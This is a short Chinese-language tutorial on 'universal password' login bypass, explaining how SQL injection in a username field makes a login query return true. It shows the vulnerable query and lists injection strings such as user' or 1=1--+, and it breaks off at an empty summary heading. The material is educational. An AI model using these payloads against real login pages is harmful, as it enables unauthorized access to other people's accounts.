前言
菜某的总结，欢迎提意见补充~
万能密码的原理
万能密码实际上也算是sql注入的一种。
登录界面是一个与数据库交互的位置，很容易产生sql注入的位置。
我们登录时输入的数据会带入数据库查询进行比对，当用户名与用户的密码对的上的话，返回true，那就允许我们登录。
那么万能密码的思路就是，通过类似于sql注入的手法，想办法在不输入正确的账号密码下让他返回一个true。
这个就是登录验证的SQL语句
select * from user where username='user' and password='pass';
我们就是要让这个语句在user跟pass对不上号的时候也能返回个true
账号已知密码未知（不知道他密码登录他账号）
还是看这个语句
select * from user where username='user' and password='pass'
可以看到我们只知道正确的username，不知道password，但是还要这个语句返回个ture。
我们这样做
用户名写入：
user' or 1=1--+
user' or True--+
user' or 1--+
这样语句就变成了
select * from user where username='user' or 1=1--+' and password='pass'
返回为True，就进去了。
账号未知密码已知（光知道个密码，不知道是谁的账号）
还是围绕这个式子
select * from user where username='user' and password='pass'
我们只能操作后面的内容
其实一个路子
加个or的语句完事。
总结
